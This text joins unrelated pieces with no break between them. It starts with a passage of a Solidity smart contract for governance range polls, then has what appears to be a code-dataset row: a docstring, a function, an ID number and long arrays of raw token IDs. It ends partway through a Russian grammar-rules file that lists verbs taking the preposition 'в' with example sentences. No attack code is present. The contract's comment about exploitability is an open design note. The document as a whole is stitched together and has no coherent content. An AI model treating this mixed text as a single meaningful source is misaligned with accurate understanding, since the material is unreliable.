the caller. constructor(GovToken govToken) public { _govToken = govToken; _pollID = 0; _live = false; _auth[msg.sender] = 1; } // Gives authorization level of 1 to another address. // Requires that the calling address has authorization // level of 1. function giveAuth(address user) external { require(_auth[msg.sender] == 1); _auth[user] = 1; } // Emitted during a lock where users lock up their gov Tokens // in order to participate in polls. The user is the address // that locked the gov tokens and tokens is the amount of tokens // that were just locked. event Lock(address user, uint256 tokens); // Lets the governance token contract register this poll // as a place where tokens are locked (this could be the governance // contract keeping a record, or just transferring the tokens to this // contract). Note, if the governance token was changed to a different // ERC20 gov token, then this function would need to be slightly modified. function lock(uint256 tokens) external { _govToken.lock(msg.sender, tokens); _balances[msg.sender] = _balances[msg.sender].add(tokens); emit Lock(msg.sender, tokens); } // Emitted during unlock where users unlock their gov Tokens // The user is the address // that locked the gov tokens and tokens is the amount of tokens // that were just locked. event Unlock(address user, uint256 tokens); // This function unlocks tokens from this contract, meaning // it removes the voting power of a voter. The governance token // contract or the voter himself can remove a voter's voting // power. Tokens represents the amount of weight they want // to decrease by. This can only be called when a poll is not // currently ongoing (_live is false). Note, if the governance // token was changed to a different ERC20 gov token, then this // function would need to be slightly modified. // Note: not really an incentive to unlock ever if gov-token that // supports ability to lock in multiple places concurrently. // TODO: should try and get GovToken to be able to unlock for // someone (necessary for this particular gov token to be non-exploitable) function unlock(address voter, uint256 tokens) public { require(!_live); require(msg.sender == voter); _govToken.unlock(msg.sender, tokens); _balances[msg.sender] = _balances[msg.sender].sub(tokens); emit Unlock(voter, tokens); } // This function is called when a voter wants to remove some // of their voting power (de-register it). Tokens represents // the amount of weight they want to decrease by. function unlock(uint256 tokens) external { unlock(msg.sender, tokens); } // startPoll starts a new range poll between the bounds of // floor and ceiling, meaning people can vote between these // two values. Only whitelisted addresses can call this (example // case of whitelisted addresses would be employees of a DAO). function startPoll(uint256 floor,uint256 ceiling) external { require(_auth[msg.sender] == 1); _floor = floor; _ceiling = ceiling; _live = true; _pollID = _pollID.add(1); } // Represents a vote where ballot equals the number within // the range that a user voted on, and weight represents // the amount of voting power associated with the vote. event Vote(uint256 ballot, uint256 weight); // This function allows users to vote for a particular value // in a live poll. The ballot represents the number that the // address is voting on. It should be in between floor and ceiling // The user can specify how much weight he wants to use for the // particular vote. If the user does not have enough weight, as much // weight will be put down as he can use. function vote(uint256 ballot, uint256 weight) external { require(_live); require (ballot <= _ceiling && ballot >= _floor); require(_balances[msg.sender].sub(_used[msg.sender][_pollID]) >= weight); _used[msg.sender][_pollID] = _used[msg.sender][_pollID].add(weight); emit Vote(ballot, weight); voteOp(ballot, weight); } // Sometimes a particular calculation method might be doing // calculations as each vote comes in, instead of all at the // end. Some calculation methods may not need this functionality. function voteOp(uint256 ballot, uint256 weight) virtual internal; // This event states what the result from the poll was after a whitelisted // address ends the poll. event PollResult(uint256 result); // Whitelisted user can end the current poll. This function will tally // the votes and do general housekeeping such as resetting some // parameters. Only whitelisted addresses can call this (example // case of whitelisted addresses would be employees of a DAO). // Note: There is an option to instead put a time lock here, so that // polls last a certain set time. Then any "keeper" could end the poll, // not just a whitelisted address. function endPoll() external returns (uint256){ require(_live && _auth[msg.sender] == 1); _live = false; uint256 result = tally(); emit PollResult(result); return result; } // This function is responsible for calculating the winning number // in the range for a poll. Some calculation methods may be completely // off-chain and not really have a need for this method. function tally() virtual internal returns (uint256); }
This function unlocks tokens from this contract, meaning it removes the voting power of a voter. The governance token contract or the voter himself can remove a voter's voting power. Tokens represents the amount of weight they want to decrease by. This can only be called when a poll is not currently ongoing (_live is false). Note, if the governance token was changed to a different ERC20 gov token, then this function would need to be slightly modified. Note: not really an incentive to unlock ever if gov-token that supports ability to lock in multiple places concurrently. TODO: should try and get GovToken to be able to unlock for someone (necessary for this particular gov token to be non-exploitable)
function unlock(address voter, uint256 tokens) public { require(!_live); require(msg.sender == voter); _govToken.unlock(msg.sender, tokens); _balances[msg.sender] = _balances[msg.sender].sub(tokens); emit Unlock(voter, tokens); }
12,601,531
[ 1, 2503, 445, 7186, 87, 2430, 628, 333, 6835, 16, 12256, 518, 7157, 326, 331, 17128, 7212, 434, 279, 331, 20005, 18, 1021, 314, 1643, 82, 1359, 1147, 6835, 578, 326, 331, 20005, 366, 381, 2890, 848, 1206, 279, 331, 20005, 1807, 331, 17128, 7212, 18, 13899, 8686, 326, 3844, 434, 3119, 2898, 2545, 358, 20467, 635, 18, 1220, 848, 1338, 506, 2566, 1347, 279, 7672, 353, 486, 4551, 30542, 261, 67, 16472, 353, 629, 2934, 3609, 16, 309, 326, 314, 1643, 82, 1359, 1147, 1703, 3550, 358, 279, 3775, 4232, 39, 3462, 31841, 1147, 16, 1508, 333, 445, 4102, 1608, 358, 506, 21980, 4358, 18, 3609, 30, 486, 8654, 392, 316, 2998, 688, 358, 7186, 14103, 309, 31841, 17, 2316, 716, 6146, 7123, 358, 2176, 316, 3229, 12576, 21946, 18, 2660, 30, 1410, 775, 471, 336, 611, 1527, 1345, 358, 506, 7752, 358, 7186, 364, 18626, 261, 82, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 7186, 12, 2867, 331, 20005, 16, 2254, 5034, 2430, 13, 1071, 288, 203, 3639, 2583, 12, 5, 67, 16472, 1769, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 331, 20005, 1769, 203, 3639, 389, 75, 1527, 1345, 18, 26226, 12, 3576, 18, 15330, 16, 2430, 1769, 203, 3639, 389, 70, 26488, 63, 3576, 18, 15330, 65, 273, 389, 70, 26488, 63, 3576, 18, 15330, 8009, 1717, 12, 7860, 1769, 203, 3639, 3626, 3967, 12, 90, 20005, 16, 2430, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, 